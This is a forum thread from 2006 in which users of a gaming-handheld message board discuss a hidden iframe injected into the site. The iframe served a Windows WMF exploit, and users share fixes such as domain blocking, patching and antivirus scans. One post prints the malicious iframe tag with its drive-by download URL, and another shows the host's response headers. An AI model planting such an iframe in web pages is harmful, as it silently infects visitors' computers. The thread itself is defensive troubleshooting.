Xpladdv725.wmf????


Status
Not open for further replies.
Regardless of the cause of this problem, we are upgrading the forum software soon to counter any security exploits. In the meantime switch to Firefox (I never recieved any pop-ups or file downloads) or use the HOSTS file fix mentioned earlier by luteijn.
 
DaveC said:
Yeah I know get firefox blah,blah. I may not feel like fucking around with installing browsers right now.

Considering how much issues in emulators bug you I'm AMAZED you don't use Firefox. It's really like DrMDX compared to a slow, buggy alpha of a BBC emulator.

You will be stunned how much quicker, more efficient, and SO MUCH more advanced it is.

(IMHO Opera is even better, but it's really down to personal taste)
 
Last edited by a moderator:
Quick fix for IE users:

1. Click on the Tools menu
2. Click on the Internet Options
3. Click on the Security tab
4. Click on Restricted Sites icon
5. Click on the Sites button
6. put "traffsale1.biz" in the textbox and click Add

You will only get an error about the page not loading right, but it stops the download.

-Kensupen
 
I use opera and only had dialogue boxes popping up while purist's stupid Anna Hong sig appeared. Never had them before and since the sig has been removed they have stopped. Was this a coincidence ?
 
Mr.Jabberwocky posted on Mar 5 2006 at 06:41 AM said:
I use opera and only had dialogue boxes popping up while purist's stupid Anna Hong sig appeared. Never had them before and since the sig has been removed they have stopped. Was this a coincidence ?

That's not true.

The IFRAME which is doing this is still there (I am looking at it as I type this)...

It's right above the box where it says "Logged in as: *whoever*"
 
Last edited by a moderator:
Paradox posted on Mar 5 2006 at 11:45 AM said:
couldnt be bothered installing antivirus software, but i should be alright with firefox right? /no1
Install some antivirus software anyway, I use AVG-free and ADAware SE personal, both free and offer something like 90% protection. Combined with Firefox this makes me nearly impregnable :)
 
Last edited by a moderator:
Wewt, another AVG user!

Whatever you do, do NOT use Norton. It'll open back doors, front doors and the cat flap.
 
Shikaku posted on Mar 5 2006 at 11:59 AM said:
Mr.Jabberwocky posted on Mar 5 2006 at 06:41 AM said:
I use opera and only had dialogue boxes popping up while purist's stupid  Anna Hong sig appeared.  Never had them before and since the sig has been removed they have stopped.  Was this a coincidence ?

That's not true.

The IFRAME which is doing this is still there (I am looking at it as I type this)...

It's right above the box where it says "Logged in as: *whoever*"

It is true. That is what happened. It is most likely coincidence. Why did the code, which is still there, suddenly stop affecting me ? It was popping up every time I clicked something - now nothing.
 
Last edited by a moderator:
I noticed that little iframe just now and was wondering what it was. I just added "http://traffsale1.biz/" to adblock in firefox and all is well again in the world of Javacat :).


If you google traffsale, you'll see that this is popping up all over the internet.
 
I have firefox and avast!'d every computer in the house. Try to penetrate my fort now!
 
What the problem is, if you haven't heard of it already (It's been quite in the news recently) is an exploit in the WMF rendering code in Windows (MS Security bulletin).

This exploit allows an attacker to run code on your PC and do anything they wish, basically, all through the browser simply rendering the image (WMF images are rendered through instructions, and the code can be contained in the instructions).

Any application that automatically displays a WMF image will cause the user’s machines to get infected. This includes older versions of Firefox, current versions of Opera, Outlook and all current version of Internet Explorer on all versions of Windows.
(Sunbelt Security

This has been patched, so that the code won't do anything. If you have not updated windows, I highly recommend you do so now as that will protect you (you will need to restart afterwards)

If you haven't stayed updated, and have visited the site, it is possible you are already infected. The code can execute without you even realising, behind the scenes. If this is the case, I highly recommend you do a virus scan.

The worrying question is, why is gp32x using an iframe with the exploit in (which would exploit all gp32x users not up to date)?

A few possibly worrying answers come to mind:

a) The site was hacked, and the code was placed in the template
B) It was a way for the admins of the site to make money, so they placed the code in

Either way, it is worrying :/
 
I just noticed this on the boards, and i have never seen it before. Could it be anything to do with this virus thing?


 
Nova posted on Mar 5 2006 at 01:41 PM said:
I just noticed this on the boards, and i have never seen it before. Could it be anything to do with this virus thing?

That is indeed the culprit :(

Code:
<iframe src="http://traffsale1.biz/dl/adv725.php" width=1 height=1></iframe>

For some reason, there is an iframe (allowing the display of another website within this one, in this case, the exploit website from this one) just above the login information, and within it, is the exploit :eek:

Furthermore, it seems that the page attempts to exploit a number of different security holes. If your browser blocked one of them, it's possible another one of the exploits got through (without you knowing).
 
Last edited by a moderator:
Nova posted on Mar 5 2006 at 02:41 PM said:
I just noticed this on the boards, and i have never seen it before. Could it be anything to do with this virus thing?
That's the iFrame we're all talking about :)
 
Last edited by a moderator:
If you're using Firefox, get Adblock if you haven't already, click the Adblock thing on the bottom-right corner of your browser and choose the entry that begins with http://traffsale1.biz. Click OK, and that pesky iframe goes away.
 
On the plus side, it seems that the URL is currently dead

This is the source I got from it:

Code:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 05 Mar 2006 21:57:31 GMT
Server: Apache/2.0.54 (Fedora)
Content-Length: 0
Content-Type: text/html
Client-Date: Sun, 05 Mar 2006 13:59:14 GMT
Client-Peer: 85.249.23.119:80
Client-Response-Num: 1
Set-Cookie: dial=uniq; expires=Mon, 06 Mar 2006 21:57:31 GMT
X-Powered-By: PHP/5.0.4

There is no HTML contnet beyond that point. It seems whatever was there, is gone now - or at least to me. Either that, or for some reason it's not sending me the source.

Someone commented earlier...

It is true. That is what happened. It is most likely coincidence. Why did the code, which is still there, suddenly stop affecting me ? It was popping up every time I clicked something - now nothing.

...that they suddenly stopped getting the box - could be that the exploit code (on the exploit page, that is - the code pointing to that page from gp32x is still presented) disappeared, perhaps?
 
Status
Not open for further replies.
Back
Top